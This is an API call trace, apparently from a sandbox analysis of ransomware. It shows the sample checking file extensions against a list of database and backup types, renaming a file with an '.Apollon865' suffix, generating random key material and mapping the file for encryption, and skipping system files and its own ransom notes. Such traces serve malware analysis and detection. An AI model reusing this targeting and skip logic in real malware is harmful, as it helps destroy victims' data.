	[0083.646] lstrlenW (lpString="sqlite3") returned 7
	[0083.646] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.646] lstrlenW (lpString="sqlitedb") returned 8
	[0083.647] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.647] lstrlenW (lpString="xml") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.647] lstrlenW (lpString="$er") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.647] lstrlenW (lpString="4dd") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.647] lstrlenW (lpString="4dl") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.647] lstrlenW (lpString="^^^") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.647] lstrlenW (lpString="abs") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.647] lstrlenW (lpString="abx") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.647] lstrlenW (lpString="accdb") returned 5
	[0083.647] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.647] lstrlenW (lpString="accdc") returned 5
	[0083.647] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.647] lstrlenW (lpString="accde") returned 5
	[0083.647] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.647] lstrlenW (lpString="accdr") returned 5
	[0083.647] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.647] lstrlenW (lpString="accdt") returned 5
	[0083.647] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.647] lstrlenW (lpString="accdw") returned 5
	[0083.647] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.647] lstrlenW (lpString="accft") returned 5
	[0083.647] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.647] lstrlenW (lpString="adb") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.647] lstrlenW (lpString="adb") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.647] lstrlenW (lpString="ade") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.647] lstrlenW (lpString="adf") returned 3
	[0083.647] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.648] lstrlenW (lpString="adn") returned 3
	[0083.648] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.648] lstrlenW (lpString="adp") returned 3
	[0083.648] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.648] lstrlenW (lpString="alf") returned 3
	[0083.648] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.648] lstrlenW (lpString="ask") returned 3
	[0083.648] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.648] lstrlenW (lpString="btr") returned 3
	[0083.648] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.648] lstrlenW (lpString="cat") returned 3
	[0083.648] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.648] lstrlenW (lpString="cdb") returned 3
	[0083.648] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.649] lstrlenW (lpString="ckp") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.649] lstrlenW (lpString="cma") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.649] lstrlenW (lpString="cpd") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.649] lstrlenW (lpString="dacpac") returned 6
	[0083.649] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.649] lstrlenW (lpString="dad") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.649] lstrlenW (lpString="dadiagrams") returned 10
	[0083.649] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0083.649] lstrlenW (lpString="daschema") returned 8
	[0083.649] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.649] lstrlenW (lpString="db-journal") returned 10
	[0083.649] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0083.649] lstrlenW (lpString="db-shm") returned 6
	[0083.649] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.649] lstrlenW (lpString="db-wal") returned 6
	[0083.649] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.649] lstrlenW (lpString="dbc") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.649] lstrlenW (lpString="dbs") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.649] lstrlenW (lpString="dbt") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.649] lstrlenW (lpString="dbv") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.649] lstrlenW (lpString="dbx") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.649] lstrlenW (lpString="dcb") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.649] lstrlenW (lpString="dct") returned 3
	[0083.649] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.649] lstrlenW (lpString="dcx") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.650] lstrlenW (lpString="ddl") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.650] lstrlenW (lpString="dlis") returned 4
	[0083.650] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.650] lstrlenW (lpString="dp1") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.650] lstrlenW (lpString="dqy") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.650] lstrlenW (lpString="dsk") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.650] lstrlenW (lpString="dsn") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.650] lstrlenW (lpString="dtsx") returned 4
	[0083.650] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.650] lstrlenW (lpString="dxl") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.650] lstrlenW (lpString="eco") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.650] lstrlenW (lpString="ecx") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.650] lstrlenW (lpString="edb") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.650] lstrlenW (lpString="epim") returned 4
	[0083.650] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.650] lstrlenW (lpString="fcd") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.650] lstrlenW (lpString="fdb") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.650] lstrlenW (lpString="fic") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.650] lstrlenW (lpString="flexolibrary") returned 12
	[0083.650] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0083.650] lstrlenW (lpString="fm5") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.650] lstrlenW (lpString="fmp") returned 3
	[0083.650] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.651] lstrlenW (lpString="fmp12") returned 5
	[0083.651] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.651] lstrlenW (lpString="fmpsl") returned 5
	[0083.651] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.651] lstrlenW (lpString="fol") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.651] lstrlenW (lpString="fp3") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.651] lstrlenW (lpString="fp4") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.651] lstrlenW (lpString="fp5") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.651] lstrlenW (lpString="fp7") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.651] lstrlenW (lpString="fpt") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.651] lstrlenW (lpString="frm") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.651] lstrlenW (lpString="gdb") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.651] lstrlenW (lpString="gdb") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.651] lstrlenW (lpString="grdb") returned 4
	[0083.651] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.651] lstrlenW (lpString="gwi") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.651] lstrlenW (lpString="hdb") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.651] lstrlenW (lpString="his") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.651] lstrlenW (lpString="ib") returned 2
	[0083.651] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.651] lstrlenW (lpString="idb") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.651] lstrlenW (lpString="ihx") returned 3
	[0083.651] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.651] lstrlenW (lpString="itdb") returned 4
	[0083.651] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.652] lstrlenW (lpString="itw") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.652] lstrlenW (lpString="jet") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.652] lstrlenW (lpString="jtx") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.652] lstrlenW (lpString="kdb") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.652] lstrlenW (lpString="kexi") returned 4
	[0083.652] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.652] lstrlenW (lpString="kexic") returned 5
	[0083.652] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.652] lstrlenW (lpString="kexis") returned 5
	[0083.652] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.652] lstrlenW (lpString="lgc") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.652] lstrlenW (lpString="lwx") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.652] lstrlenW (lpString="maf") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.652] lstrlenW (lpString="maq") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.652] lstrlenW (lpString="mar") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.652] lstrlenW (lpString="marshal") returned 7
	[0083.652] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.652] lstrlenW (lpString="mas") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.652] lstrlenW (lpString="mav") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.652] lstrlenW (lpString="maw") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.652] lstrlenW (lpString="mdbhtml") returned 7
	[0083.652] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.652] lstrlenW (lpString="mdn") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.652] lstrlenW (lpString="mdt") returned 3
	[0083.652] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.653] lstrlenW (lpString="mfd") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.653] lstrlenW (lpString="mpd") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.653] lstrlenW (lpString="mrg") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.653] lstrlenW (lpString="mud") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.653] lstrlenW (lpString="mwb") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.653] lstrlenW (lpString="myd") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.653] lstrlenW (lpString="ndf") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.653] lstrlenW (lpString="nnt") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.653] lstrlenW (lpString="nrmlib") returned 6
	[0083.653] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.653] lstrlenW (lpString="ns2") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.653] lstrlenW (lpString="ns3") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.653] lstrlenW (lpString="ns4") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.653] lstrlenW (lpString="nsf") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.653] lstrlenW (lpString="nv") returned 2
	[0083.653] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.653] lstrlenW (lpString="nv2") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.653] lstrlenW (lpString="nwdb") returned 4
	[0083.653] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.653] lstrlenW (lpString="nyf") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.653] lstrlenW (lpString="odb") returned 3
	[0083.653] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.653] lstrlenW (lpString="odb") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.654] lstrlenW (lpString="oqy") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.654] lstrlenW (lpString="ora") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.654] lstrlenW (lpString="orx") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.654] lstrlenW (lpString="owc") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.654] lstrlenW (lpString="p96") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.654] lstrlenW (lpString="p97") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.654] lstrlenW (lpString="pan") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.654] lstrlenW (lpString="pdb") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.654] lstrlenW (lpString="pdm") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.654] lstrlenW (lpString="pnz") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.654] lstrlenW (lpString="qry") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.654] lstrlenW (lpString="qvd") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.654] lstrlenW (lpString="rbf") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.654] lstrlenW (lpString="rctd") returned 4
	[0083.654] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.654] lstrlenW (lpString="rod") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.654] lstrlenW (lpString="rodx") returned 4
	[0083.654] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.654] lstrlenW (lpString="rpd") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.654] lstrlenW (lpString="rsd") returned 3
	[0083.654] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.655] lstrlenW (lpString="sas7bdat") returned 8
	[0083.655] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.655] lstrlenW (lpString="sbf") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.655] lstrlenW (lpString="scx") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.655] lstrlenW (lpString="sdb") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.655] lstrlenW (lpString="sdc") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.655] lstrlenW (lpString="sdf") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.655] lstrlenW (lpString="sis") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.655] lstrlenW (lpString="spq") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.655] lstrlenW (lpString="te") returned 2
	[0083.655] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.655] lstrlenW (lpString="teacher") returned 7
	[0083.655] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.655] lstrlenW (lpString="tmd") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.655] lstrlenW (lpString="tps") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.655] lstrlenW (lpString="trc") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.655] lstrlenW (lpString="trc") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.655] lstrlenW (lpString="trm") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.655] lstrlenW (lpString="udb") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.655] lstrlenW (lpString="udl") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.655] lstrlenW (lpString="usr") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.655] lstrlenW (lpString="v12") returned 3
	[0083.655] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.655] lstrlenW (lpString="vis") returned 3
	[0083.656] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.656] lstrlenW (lpString="vpd") returned 3
	[0083.656] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.656] lstrlenW (lpString="vvv") returned 3
	[0083.656] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.656] lstrlenW (lpString="wdb") returned 3
	[0083.656] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.656] lstrlenW (lpString="wmdb") returned 4
	[0083.656] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.656] lstrlenW (lpString="wrk") returned 3
	[0083.656] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.656] lstrlenW (lpString="xdb") returned 3
	[0083.656] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.656] lstrlenW (lpString="xld") returned 3
	[0083.656] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.656] lstrlenW (lpString="xmlff") returned 5
	[0083.656] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.656] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.Apollon865") returned 81
	[0083.656] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.658] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.658] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=52576) returned 1
	[0083.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.658] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.659] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.659] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.659] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd060, lpName=0x0) returned 0x15c
	[0083.663] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd060) returned 0x100000
	[0083.669] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.670] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.670] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0083.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0083.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.671] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0083.671] CloseHandle (hObject=0x15c) returned 1
	[0083.671] CloseHandle (hObject=0x9c) returned 1
	[0083.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.672] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="..") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="windows") returned -1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="temp") returned -1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="boot") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="perflogs") returned 1
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0083.672] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0083.672] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned 70
	[0083.672] lstrcpyW (in: lpString1=0x119e670, lpString2="PPINTL.REST.trx_dll" | out: lpString1="PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll"
	[0083.672] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0083.672] lstrlenW (lpString="Apollon865") returned 10
	[0083.672] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0083.672] lstrlenW (lpString=".dll") returned 4
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0083.672] lstrlenW (lpString=".lnk") returned 4
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0083.672] lstrlenW (lpString=".ini") returned 4
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0083.672] lstrlenW (lpString=".sys") returned 4
	[0083.672] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0083.672] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0083.673] lstrlenW (lpString="bak") returned 3
	[0083.673] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.673] lstrlenW (lpString="ba_") returned 3
	[0083.673] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
